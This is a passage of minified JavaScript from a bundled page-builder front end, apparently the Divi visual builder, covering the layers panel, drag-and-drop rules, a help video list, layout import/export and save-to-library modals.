this.isLayerSelected()||Object(j.i)(t):f={color:d.a.white,backgroundColor:Object(j.b)(t)};break;case!this.isLayerSelected()&&this.isHovered():f={color:Object(j.b)(t),backgroundColor:d.a.layerBackground};break;default:f={color:Object(j.b)(t),backgroundColor:Object(E.a)(d.a.layerBackground,.6)}}var h=(A(e={"et-fb-layers-view--layer":!0,"et-fb-layers-view--has-no-child":!this.props.hasChildren,"et-fb-layers-view--expanded":this.isLayerExpanded(),"et-fb-layers-view--hidden":!t.isLayerVisible,"et-fb-layers-view--disabled":Object(T.is)("disabled",t),"et-fb-layers-view--filter-parent":this.isFilterResultParent(),"et-fb-layers-view--filter-result":this.isFilterResult(),"et-fb-layers-view--library-parent":Object(j.k)(t),"et-fb-layers-view--library-item":Object(j.j)(t),"et-fb-layers-view--ab":a,"et-fb-layers-view--ab-goal":s,"et-fb-locked":Object(j.i)(t),et_pb_section:Object(T.is)("section",t),et_pb_fullwidth_section:Object(T.is)("fullwidth",t),et_section_regular:Object(T.is)("regular",t),et_section_specialty:Object(T.is)("specialty",t),et_pb_row:Object(T.is)("row",t),et_pb_row_inner:Object(T.is)("row-inner",t),et_pb_column:Object(T.is)("column",t),et_pb_column_inner:Object(T.is)("column-inner",t)},"et_pb_column_"+n.type,Object(c.o)(t,"isColumnSpecialty",!1)),A(e,"et_pb_specialty_column",Object(c.o)(t,"isColumnSpecialty",!1)),A(e,"et_pb_column_single",Object(c.o)(t,"isColumnSingle",!1)),A(e,"et_pb_module",Object(T.is)("module",t)),A(e,"et_pb_parent_locked",Object(j.i)(t)&&!Object(j.l)(t)),A(e,"et_fb_global_module",Object(j.h)(t)),A(e,"et_fb_locked_module",Object(j.i)(t)),A(e,"et_fb_item_selected",Object(c.o)(t,"isItemMulti",!1)),A(e,"et_fb_uneditable_module",!this.isAllowedAction("edit_module")),A(e,"et_fb_container_mixed",!Object(x.i)(o)&&p),A(e,"et_fb_nonexistent_module",Object(T.is)("removed",t)),e);k.a.abIsMode("off")||(k.a.abIsSubject(t)&&(h=Object(c.a)(h,A({et_pb_ab_subject:!0},"et_pb_ab_subject_id-"+Object(c.o)(ETBuilderBackend,"currentPage.id","")+"_"+Object(c.o)(n,"ab_subject_id",""),!0))),k.a.abIsGoal(t)&&(h=Object(c.a)(h,A({et_pb_ab_goal:!0},"et_pb_ab_goal-"+Object(c.o)(ETBuilderBackend,"currentPage.id",""),!0)))),a&&(h=Object(c.a)(h,A({},"et-fb-layers-view--ab-rank-"+k.a.abGetSubjectRank(t,"rank"),!0)));var m={className:u()(h),"data-address":t.address,ref:this.layerRef};Object(c.o)(n,"global_module")&&(m["data-global-module"]=n.global_module),Object(T.is)("row",t)&&(m["data-column-count"]=Object(c.o)(t,"columnCount"),m["data-column-limit"]=Object(c.o)(t,"columnLimit"));var g={className:u()({"et-fb-layers-view--content":!0,"et-fb-layers-view--column-content-locked":Object(c.o)(t,"isColumnSingle",!1),"et-fb-layers-view--filter-parent-content":this.isFilterResultParent(),"et-fb-layers-view--hover":this.isHovered(),"et-fb-layers-view--selected":this.isLayerSelected()}),onContextMenu:this.handleLayerRightClick,onMouseEnter:this.handleLayerMouseEnter,onMouseLeave:this.handleLayerMouseLeave,style:f};return k.a.abIsMode("selecting")&&(g.onClick=this.handleLayerClick),r.a.createElement(v.a,{componentName:t.type},r.a.createElement("div",m,!Object(x.i)(n.specialty_columns)&&!Object(j.k)(t)&&r.a.createElement("div",{className:u()({"et-fb-layers-view--header":!0,et_fb_move_module_handler:l,"ui-sortable-handle":l})},this.renderToggle(),r.a.createElement("div",N({role:"presentation"},g),this.renderLabel(),this.renderActionButtons()),this.renderAddButton()),this.props.children))}}]),n}();I.propTypes={hasChildren:s.a.bool,isFilterActive:s.a.bool,isFilterResult:s.a.bool,isFilteredLayer:s.a.bool,isLayerExpanded:s.a.bool,isLayerSelected:s.a.bool,isLayerVisible:s.a.bool,isDelayRender:s.a.bool},I.defaultProps={hasChildren:!1,isFilterActive:!1,isFilterResult:!1,isFilteredLayer:!1,isLayerExpanded:!1,isLayerSelected:!1,isLayerVisible:!1,isDelayRender:!1},t.a=I}).call(this,n(24))},function(e,t,n){"use strict";(function(e){n.d(t,"a",function(){return p}),n.d(t,"b",function(){return f});var o=n(2),r=n.n(o),i=n(8),a=n.n(i),s=n(7),l=n.n(s),u=n(12),c=n(3),d=n(50),p=function(t,n){var o=e(this),i=e(n.item),s=ETBuilderBackend.i18n.sortable,l=function(){o.sortable("cancel"),n.sender&&e(n.sender).sortable("cancel");var t=o.data("dragOptions");r()(t,"isColumn")?u.b.cancelDraggingModule(!1,!0):u.b.cancelDraggingModule()};if(!c.a.abIsMode("off")){if(!c.a.isAllowedAction("ab_testing"))return u.b.setAlertModal(!0,"has_no_ab_permission"),void l();var p=a()(e(n.sender))?e(t.target):e(n.sender),f=a()(e(n.sender))?e(t.toElement):e(t.target),h=i.hasClass("et_pb_ab_subject"),m=i.hasClass("et_pb_ab_goal"),g=i.find(".et_pb_ab_subject").length,v=i.find(".et_pb_ab_goal").length,b=p.closest(".et_pb_ab_subject").length,y=f.closest(".et_pb_ab_subject").length,_=f.closest(".et_pb_ab_goal").length;if(m&&!h&&y)return u.b.setAlertModal(!0,"cannot_move_goal_into_subject"),void l();if(v&&y)return u.b.setAlertModal(!0,"cannot_move_goal_into_subject"),void l();if(h&&!m&&_)return u.b.setAlertModal(!0,"cannot_move_subject_into_goal"),void l();if(g&&_)return u.b.setAlertModal(!0,"cannot_move_subject_into_goal"),void l();if(m&&b)return u.b.setAlertModal(!0,"cannot_move_row_goal_out_from_subject"),void l()}if(!a()(e(n.sender))&&o.hasClass("et_pb_row")){var k=e(t.target);if(k.attr("data-column-count")>=k.attr("data-column-limit"))return alert(s.stop_dropping_3_col_row),void l()}if(a()(e(n.sender))&&o.hasClass("et_pb_row")&&!o.find(".et_pb_column, .et_pb_column_inner").length&&i.hasClass("et_pb_column"))return alert(s.onlyColumnDraggedAway),void l();if(o.hasClass("et_pb_specialty_column")){var w=i.find(".et_pb_column").length,C=i.closest(".et_pb_specialty_column").hasClass("et_pb_column_2_3");if(!C&&w>=4||C&&w>4)return alert(s.stop_dropping_3_col_row),void l()}if(i.closest(".et_pb_row.et_fb_global_module").length&&i.hasClass("et_fb_global_module"))return alert(s.global_module_alert),void l();if((i.closest(".et_pb_section.et_fb_global_module").length||i.closest(".et_pb_row.et_fb_global_module").length)&&i.hasClass("et_fb_global_module"))return alert(s.global_module_alert),void l();var E=e(n.item[0]),O=e(t.target),S=E.is(".et_fb_global_module")||E.closest(".et_fb_global_module").length>0,T=O.is(".et_fb_global_module")||O.closest(".et_fb_global_module").length>0,M=E.is(".et_fb_global_module")?E:E.closest(".et_fb_global_module"),x=O.is(".et_fb_global_module")?O:O.closest(".et_fb_global_module"),P=M.attr("data-address"),j=x.attr("data-address"),L=M.attr("data-global-module"),N=x.attr("data-global-module"),D=P!==j,A=Object(d.i)(N)&&L===N;S&&T&&D&&A&&l()},f=function(e,t,n){if(t.isRow?(t.address=n.attr("data-address"),t.connectWith=".et-fb-layers-view--expanded.et_pb_row:not(.et_pb_parent_locked)",t.child=".et_pb_column",t.childSlug="column",t.handle="> .et_fb_move_module_handler"):t.isColumn?e.hasClass("et_pb_specialty_column")?(t.connectWith=".et-fb-layers-view--expanded.et_pb_specialty_column:not(.et_pb_parent_locked), .et-fb-layers-view--expanded.et_section_regular",t.child=".et_pb_row_inner, > .et_pb_row",t.childSlug="row-inner",t.handle="> .et_fb_move_module_handler"):(t.connectWith=".et-fb-layers-view--expanded.et_pb_column:not(.et_pb_specialty_column, .et_pb_parent_locked)",t.child=".et_pb_module",t.childSlug="module",t.handle="> .et_fb_move_module_handler"):(t.address=n.attr("data-address"),e.hasClass("et_pb_fullwidth_section")?(t.connectWith=".et-fb-layers-view--expanded.et_pb_fullwidth_section",t.child=".et_pb_module",t.childSlug="fullwidth-module",t.handle="> .et_fb_move_module_handler"):(t.connectWith=".et-fb-layers-view--expanded.et_pb_specialty_column:not(.et_pb_parent_locked), .et-fb-layers-view--expanded.et_section_regular",t.child=".et_pb_row, > .et_pb_row_inner",t.childSlug="row-inner",t.handle="> .et_fb_move_module_handler")),l()(e.data("uiSortable"))||(e.sortable("destroy"),e.removeClass("et_fb_container_mixed")),t.isItemsMixed&&(e.addClass("et_fb_container_mixed"),t.connectWith=a()(t.newConnectWith)?t.connectWith:t.newConnectWith,t.childSlug=a()(t.newChildSlug)?t.childSlug:t.newChildSlug,t.isColumn?e.hasClass("et_pb_specialty_column")?(t.child=".et_pb_row_inner.et_fb_item_selected",t.handle="> .et_fb_move_module_handler"):t.child=".et_pb_module.et_fb_item_selected":e.hasClass("et_pb_fullwidth_section")?t.child=".et_pb_module.et_fb_item_selected":(t.child=".et_pb_row.et_fb_item_selected",t.handle="> .et_fb_move_module_handler")),e.is(".et_fb_global_module"))if(t.isColumn){var o=n.closest(".et_fb_global_module"),r=o.attr("data-global-module"),i=o.attr("data-address"),s=o.is(".et_pb_section")?".et_pb_section":".et_pb_row",u=t.connectWith;t.connectWith=[s+":not(.et_fb_global_module) "+u,s+'.et_fb_global_module[data-address="'+i+'"] '+u,s+".et_fb_global_module:not("+s+'[data-global-module="'+r+'"][data-address!="'+i+'"]) '+u].join(", ")}else{var c=e.attr("data-global-module"),d=e.attr("data-address"),p=t.connectWith;t.connectWith=[p+":not(.et_fb_global_module)",p+'.et_fb_global_module[data-address="'+d+'"]',p+".et_fb_global_module:not("+p+'[data-global-module="'+c+'"][data-address!="'+d+'"])'].join(", ")}return t}}).call(this,n(24))},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(25),a=n(22),s=n.n(a),l=n(4),u=n.n(l),c=n(8),d=n.n(c),p=(n(1492),n(12)),f=(n(3),n(51)),h=n(40),m=n(982),g=n(162),v=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var b=ETBuilderBackend.i18n,y={className:u.a.string,currentVideo:u.a.number,currentVideoList:u.a.string,modalPosition:u.a.object,modalWidth:u.a.number,modalMoving:u.a.bool},_=function(t){function n(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this));return e.state={videoHover:!1},e._handleVideoMouseEnter=e._handleVideoMouseEnter.bind(e),e._handleVideoMouseLeave=e._handleVideoMouseLeave.bind(e),e._renderUndockButton=e._renderUndockButton.bind(e),e._handleAnimation=e._handleAnimation.bind(e),e._handleClickItem=e._handleClickItem.bind(e),e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["Component"]),v(n,[{key:"_handleVideoMouseEnter",value:function(){this.props.modalMoving||this.setState({videoHover:!0})}},{key:"_handleVideoMouseLeave",value:function(){this.setState({videoHover:!1})}},{key:"_handleAnimation",value:function(e,t){return this.props.animate?e:t}},{key:"_handleClickItem",value:function(t){t.preventDefault(),e(t.currentTarget).closest(".et-fb-tabs__panel--active").animate({scrollTop:0},300);var n=parseInt(t.currentTarget.getAttribute("data-index"),10);p.b.setVideo(n)}},{key:"_renderUndockButton",value:function(){var e=this.props,t=e.helpModalState,n=e.modalPosition,o=e.modalWidth,a=e.videoOverlayStatus,s=this.state.videoHover,l=d()(t)?{width:o,position:{x:n.x,y:n.y}}:t;return r.a.createElement(i.Motion,{defaultStyle:{s:.5,o:0,x:15,y:15},style:{s:this._handleAnimation(Object(i.spring)(s?1:.5,{stiffness:300,damping:20}),s?1:.5),o:this._handleAnimation(Object(i.spring)(s?1:0,{stiffness:300,damping:20}),s?1:0),x:this._handleAnimation(Object(i.spring)(s?15:0,{stiffness:300,damping:20}),s?15:0),y:this._handleAnimation(Object(i.spring)(s?0:15,{stiffness:300,damping:20}),s?0:15)}},function(e){return r.a.createElement(f.a,{round:!0,elevate:!0,primary:!0,small:!0,__onClick:function(){p.b.setVideoOverlay(l.width,l.position.x,l.position.y,!a)},style:{opacity:e.o,transform:"translate("+e.x+"px, "+e.y+"px) scale("+e.s+")"}},r.a.createElement(h.a,{icon:"window-undock",color:"#FFFFFF"}))})}},{key:"render",value:function(){var e=this,t=this.props,n=t.className,o=t.currentVideo,i=t.currentVideoList,a=t.modalWidth,l=t.videoOverlayStatus,u=s()("et-fb-video-list",n);return r.a.createElement("div",{className:u},r.a.createElement("div",{className:"et-fb-video-list__container"},r.a.createElement("div",{className:"et-fb-video-list__header",onMouseEnter:this._handleVideoMouseEnter,onMouseLeave:this._handleVideoMouseLeave,style:{height:.5625*(a-60)}},r.a.createElement(g.a,null,this._renderUndockButton(),l?r.a.createElement("span",null,b.video.active):function(e,t){return navigator.onLine?r.a.createElement(m.a,{dividers:!0,style:{width:"100%",height:"100%"},videoId:b.videos[e][t].id}):r.a.createElement("span",null,b.video.offline)}(i,o))),r.a.createElement("ul",{className:"et-fb-video-list__menu"},r.a.createElement(g.a,null,Object.keys(b.videos[i]).map(function(t){return r.a.createElement("li",{className:s()({"et-fb-video-list__item":!0,"et-fb-video-list__item--active":o===parseInt(t,10)}),key:"video-"+t,"data-index":t,onClick:e._handleClickItem},r.a.createElement("div",{className:"et-fb-video-list__icon"}),r.a.createElement("span",null,b.videos[i][t].name))})))))}}]),n}();_.propTypes=y,_.defaultProps={currentVideo:1,currentVideoList:"et_pb_default"},t.a=_}).call(this,n(24))},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(22),a=n.n(i),s=n(2),l=n.n(s),u=n(8),c=n.n(u),d=(n(82),n(7)),p=n.n(d),f=n(34),h=n.n(f),m=n(94),g=n.n(m),v=n(89),b=n.n(v),y=n(118),_=n(12),k=n(305),w=n(1327),C=n(639),E=n(860),O=n(1282),S=n(0),T=n(1329),M=function(){return function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],o=!0,r=!1,i=void 0;try{for(var a,s=e[Symbol.iterator]();!(o=(a=s.next()).done)&&(n.push(a.value),!t||n.length!==t);o=!0);}catch(e){r=!0,i=e}finally{try{!o&&s.return&&s.return()}finally{if(r)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),x=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var P=ETBuilderBackend.i18n.tooltips,j=ETBuilderBackend.saveModuleLibraryCategories,L=new y.AllHtmlEntities,N=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n._getFilePlaceholderClassName=function(){return a()({"et-core-portability-import-placeholder":!0,"et-fb-portability-import-placeholder--active":!c()(l()(n.props,"importFile.name",""))})},n._onChange=function(e,t){var o=void 0;switch(e){case"importOptions":var r=t.split("|"),i=M(r,3);o={importOptions:{addToLibrary:"off",replaceLayout:i[0],importBackUp:i[1],includeGlobalPresets:i[2]}};break;case"exportOptions":var a=t.split("|");o={exportOptions:{applyGlobalPresets:M(a,1)[0]}}}n.props._onChange(o)},n.onImportLayout=function(e){e.preventDefault(),n.props.importLayout()},n.onExportLayout=function(e){e.preventDefault(),n.props.exportLayout()},n.onFileUpload=function(e){var t=l()(e,"target.files[0]",""),o=t?t.name.replace(".json",""):"";n.props._onChange({importFile:t,importLayoutName:o})},n.getTabName=function(){return"modules_all"===n.props.active_tab?"export":"import"},n.componentDidUpdate=function(e){100===n.props.importProgress&&e.hasProgressBar&&!n.props.hasProgressBar&&n.setState({hasImportCompletedCheckmark:!0}),!e.importError&&n.props.importError&&_.b.togglePortabilityProgressBar("import",!1)},n._renderCategories=function(){return!(!j||0===j.length)&&r.a.createElement(o.Fragment,null,r.a.createElement("div",{className:"et-fb-import-categories-field"},r.a.createElement("h3",null,ETBuilderBackend.i18n.saveModuleLibraryAttrs.addToCatText,":"),r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(O.a,{value:n.props.importCategories,name:"importCategories",options:h()(j,function(e){return e.name}),shortcut_index:"import-categories",_onChange:n.props._onChange}))),r.a.createElement("div",{className:"et-fb-export-file-name-field"},r.a.createElement("h3",null,ETBuilderBackend.i18n.saveModuleLibraryAttrs.createCatText),r.a.createElement(C.a,{type:"text",value:n.props.importNewCategory,name:"importNewCategory",_onChange:n.props._onChange})))},n._renderExportTab=function(){var e=l()(window,"et_gd_extras.apply_on_export",!1),t=g()(n.props.exportOptions,function(t,n){return"applyGlobalPresets"!==n||e}),o=h()(t,function(e,t){return{value:P.portabilityTabs.export[t],label:P.portabilityTabs.export[t],className:t}}),i=b()(t).join("|");return r.a.createElement("div",{className:n.props.tabClassName("modules_all")},r.a.createElement("div",{className:"et-fb-export-file-name-field"},r.a.createElement("h3",null,P.exportName),r.a.createElement(C.a,{type:"text",value:n.props.exportFileName,name:"exportFileName",_onChange:n.props._onChange})),r.a.createElement("div",{className:"et-fb-export-error-container"},n.props.exportError),o.length?r.a.createElement("div",{className:"et-fb-portability-options-field"},r.a.createElement("h3",null,P.portabilityOptions),r.a.createElement(O.a,{value:i,name:"exportOptions",options:o,_onChange:n._onChange})):null,r.a.createElement(E.a,{videoListId:"et_pb_portability",trigger:"tooltip"}),r.a.createElement("a",{href:"#",className:"et-fb-save-library-button",onClick:n.onExportLayout},P.exportButton))},n._renderImportTab=function(){var e=n.props.importOptions,t=e.addToLibrary,o=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["addToLibrary"]),i=h()(o,function(e,t){return{value:P.portabilityTabs.import[t],label:L.decode(P.portabilityTabs.import[t]),className:t}}),a=b()(o).join("|");return r.a.createElement("div",{className:n.props.tabClassName("modules_library")},r.a.createElement("div",{className:"et-fb-upload-file-container"},r.a.createElement("h3",null,P.chooseFile),r.a.createElement("span",{className:n._getFilePlaceholderClassName()},n.props.importFileName()),r.a.createElement("input",{type:"file",className:"et-fb-import-file",onChange:n.onFileUpload})),r.a.createElement("div",{className:"et-fb-import-error-container"},n.props.importError),r.a.createElement("div",{className:"et-fb-portability-options-field"},r.a.createElement("h3",null,P.portabilityOptions),r.a.createElement(O.a,{value:a,name:"importOptions",options:i,_onChange:n._onChange})),S.default.isOn(t)&&n._renderImportNameField(),S.default.isOn(t)&&n._renderCategories(),r.a.createElement(E.a,{videoListId:"et_pb_portability",trigger:"tooltip"}),r.a.createElement("a",{href:"#",className:"et-fb-save-library-button",onClick:n.onImportLayout},P.importButton))},n._renderImportNameField=function(){return r.a.createElement("div",{className:"et-fb-export-file-name-field"},r.a.createElement("h3",null,P.layoutName),r.a.createElement(C.a,{type:"text",value:n.props.importLayoutName,default:n.props.importLayoutName,name:"importLayoutName",_onChange:n.props._onChange}))},n._renderProgress=function(){var e=n.getTabName();return r.a.createElement(w.a,{name:e,progress:l()(n.props,e+"Progress",0),time_remaining:l()(n.props,e+"Estimation",1),renderStart:0})},n._renderModalContent=function(){return n.props.hasProgressBar||n.props.preloadingItems||n.state.hasImportCompletedCheckmark?n._renderProgress():r.a.createElement(k.a,{isLoading:n.props.preloadingItems},n._renderExportTab(),n._renderImportTab())},n.state={hasImportCompletedCheckmark:!1},n.tabs=[{name:"tooltips.export",className:"modules_all"},{name:"tooltips.import",className:"modules_library"}],n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.Component),x(t,[{key:"render",value:function(){var e,t=!p()(this.props.maxHeight)&&this.props.maxHeight>0?{maxHeight:this.props.maxHeight}:"",n=this.props.hasProgressBar||this.state.hasImportCompletedCheckmark?{height:l()(t,"maxHeight",200),position:"relative"}:{};return r.a.createElement("div",{className:"et-fb-main-settings et-fb-main-settings--portability"},(e=this.props)._renderTabs.apply(e,function(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}(this.tabs)),r.a.createElement("div",{className:"et-fb-settings-options-wrap et_fb_save_module_modal",style:t},r.a.createElement("div",{className:"et-fb-settings-options",style:n},this._renderModalContent())))}}]),t}();N.displayName="ETBuilderPortabilityModal",N.defaultProps={hasProgressBar:!1,importProgress:0,importEstimation:1,exportProgress:0,exportEstimation:1},t.a=Object(T.b)(N)},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(242),a=n.n(i),s=n(22),l=n.n(s),u=n(8),c=n.n(u),d=n(7),p=n.n(d),f=n(15),h=n.n(f),m=n(11),g=n.n(m),v=n(2),b=n.n(v),y=n(118),_=n(0),k=n(40),w=n(3),C=n(12);n(9);var E=new y.AllHtmlEntities,O=a()({displayName:"ETBuilderModuleItem",render:function(){if(!w.a.isAllowedAction(this.props.label))return!1;var e,t,n,o=(e={},t=""+this.props.label.replace("et_pb_","et_fb_"),n=!0,t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e),i=this.props.specialtyLayout,a="",s="",u="",d="",p="";c()(i)||(a=i.layoutFormat,s=i.layoutType.split(","),u=i.specialtyColumns,p=this.props.label,o.et_fb_specialty_layout_item=!0,d=i.columns.map(function(e,t){var n="et_pb_layout_column",o=t+e;n+=" et_pb_column_layout_"+e;var i="",a="",l="";return"1"===s[t]?(n+=" et_pb_variations et_pb_"+u+"_variations",i=r.a.createElement("div",{className:"et_pb_variation et_pb_variation_full"}),a=r.a.createElement("div",{className:"et_pb_variation_row"},r.a.createElement("div",{className:"et_pb_variation et_pb_variation_1_2"}),r.a.createElement("div",{className:"et_pb_variation et_pb_variation_1_2"})),3===u&&(l="2_3,1_3"===p||"1_3,2_3"===p?r.a.createElement("div",{className:"et_pb_variation_row"},r.a.createElement("div",{className:"et_pb_variation et_pb_variation_1_4"}),r.a.createElement("div",{className:"et_pb_variation et_pb_variation_1_4"}),r.a.createElement("div",{className:"et_pb_variation et_pb_variation_1_4"}),r.a.createElement("div",{className:"et_pb_variation et_pb_variation_1_4"})):r.a.createElement("div",{className:"et_pb_variation_row"},r.a.createElement("div",{className:"et_pb_variation et_pb_variation_1_3"}),r.a.createElement("div",{className:"et_pb_variation et_pb_variation_1_3"}),r.a.createElement("div",{className:"et_pb_variation et_pb_variation_1_3"})))):n+=" et_pb_specialty_column",r.a.createElement("div",{className:n,key:o},i,a,l)}));var f=_.default.hasValue(this.props.iconSvg)?r.a.createElement(k.a,{iconSvg:this.props.iconSvg}):"",m=r.a.createElement("span",{className:"et_module_title"}," ",E.decode(b()(this,"props.title",""))," ");return""!==d&&(m=d),this.props.itemIndex===this.props.selectedItemIndex&&(o["et-fb-selected-item"]=!0),_.default.hasValue(this.props.icon)&&(o["et-fb-has-icon"]=!0),_.default.hasValue(this.props.iconSvg)&&(o["et-fb-has-svg-icon"]=!0),o=h()(o,this.props.classnames),r.a.createElement("li",{className:l()(o),onClick:this._onClick,"data-layout":a,"data-specialty":s,"data-specialty_columns":u,onMouseEnter:this._onMouseEnter,"data-icon":this.props.icon},f,m)},_onClick:function(){(w.a.abIsMode("off")||"layout"!==b()(this,"props.label"))&&("function"==typeof this.props.onClickAction?this.props.onClickAction(this.props):this.performModuleAdding())},_onMouseEnter:function(){p()(this.props.onMouseEnter)||this.props.onMouseEnter(this.props.itemIndex)},performModuleAdding:function(){var e=this.props.specialtyLayout,t=c()(e)?this.props.label:"et_pb_specialty_layout_"+e.layoutFormat,n=c()(e)?"":e.layoutType;if(this.props.savedShortcode){var o={};return h()(o,this.props.savedShortcode[0]),""===this.props.globalID||this.props.isAddingIntoGlobal||(o=this.prepareGlobalModule(o)),"et_pb_row_inner"===this.props.label&&(o.type="et_pb_row_inner"),C.b.insertSavedModule(o),void C.b.cancelTooltip()}C.b.insertNewModule(t,"",n,this.props.fbSupport),"et_fb_specialty"!==this.props.label&&C.b.cancelTooltip()},prepareGlobalModule:function(e,t){var n=this,o=n.props.globalID;return t?e.attrs.global_parent=o:e.attrs.global_module=o,!c()(e.content)&&Array.isArray(e.content)&&g()(e.content,function(e){n.prepareGlobalModule(e,!0)}),e}});t.a=O},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(28),a=n.n(i),s=n(22),l=n.n(s),u=n(11),c=n.n(u),d=n(8),p=n.n(d),f=n(2),h=n.n(f),m=n(7),g=n.n(m),v=n(12),b=n(3),y=n(639),_=n(1282),k=n(860),w=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function C(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var E=ETBuilderBackend.saveModuleLibraryCategories,O=ETBuilderBackend.i18n.saveModuleLibraryAttrs,S=function(t){function n(){var t,o,r;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);for(var i=arguments.length,s=Array(i),u=0;u<i;u++)s[u]=arguments[u];return o=r=C(this,(t=n.__proto__||Object.getPrototypeOf(n)).call.apply(t,[this].concat(s))),r.state={template_name:"",selected_cats:"",make_global:"off",new_category_name:"",name_error:"",sync_error:""},r.setFieldClass=function(){var e={},t=""!==r.state.name_error;return e["et-fb-settings-option-container"]=!0,!0===t&&(e["et-fb-settings-option-container-input-error"]=!0),l()(e)},r.isGlobalOptionSupported=function(){var e=b.a.getModuleLibrarySave();if("root"===e||b.a.isGlobalLibraryPage())return!1;var t=h()(e,"props.attrs");return!!t&&(!t.global_module&&!t.global_parent)},r.getCategoriesNamesArray=function(){var e=E,t=[];return p()(e)||c()(e,function(e){t.push(e.name)}),t},r._onInput=function(e,t){var n=t;switch(e){case"template_name":r.setState({name_error:""===t?"on":""})}r.setState(function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},e,n))},r._onSave=function(t){var n=r.state;t.preventDefault(),""===n.template_name?(r.setState({name_error:"on"}),e(a.a.findDOMNode(r)).animate({scrollTop:0},1e3,"swing"),e(a.a.findDOMNode(r)).find("#et-fb-template_name").trigger("focus")):(v.b.performLibraryModuleSaving(n),v.b.cancelTooltip())},C(r,o)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),w(n,[{key:"_renderCategories",value:function(){return 0!==this.getCategoriesNamesArray().length&&r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("label",null,O.addToCatText,":"),r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(_.a,{value:this.state.selected_cats,name:"selected_cats",options:this.getCategoriesNamesArray(),shortcut_index:"library-categories",_onChange:this._onInput})))}},{key:"render",value:function(){var e=b.a.getModuleLibrarySave(),t="root"!==e?e.props:e,n=!g()(this.props.maxHeight)&&this.props.maxHeight>0?{maxHeight:this.props.maxHeight}:"",o="",i=void 0;return i="root"===t?O.descriptionTextLayout:O.descriptionText,this.isGlobalOptionSupported()&&(o=r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("label",null,O.globalTitle,":"),r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(_.a,{value:this.state.make_global,name:"make_global",options:[O.globalText],shortcut_index:"make-global",_onChange:this._onInput})))),r.a.createElement("div",{className:"et-fb-settings-options-wrap",style:n},r.a.createElement("div",{className:"et-fb-settings-options"},r.a.createElement("p",{className:"et-fb-description-text"},i),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("label",null,O.templateName,":"),r.a.createElement("div",{className:this.setFieldClass()},r.a.createElement(y.a,{type:"text",value:this.state.template_name,name:"template_name",_onChange:this._onInput}))),o,this._renderCategories(),r.a.createElement("div",{className:"et-fb-settings-option"},r.a.createElement("label",null,O.createCatText,":"),r.a.createElement("div",{className:"et-fb-settings-option-container"},r.a.createElement(y.a,{type:"text",value:this.state.new_category_name,name:"new_category_name",_onChange:this._onInput})),r.a.createElement(k.a,{videoListId:"et_pb_save_to_library",trigger:"tooltip"})),r.a.createElement("a",{href:"#",className:"et-fb-save-library-button",onClick:this._onSave},O.saveText)))}}]),n}();t.a=S}).call(this,n(24))},function(e,t,n){"use strict";var 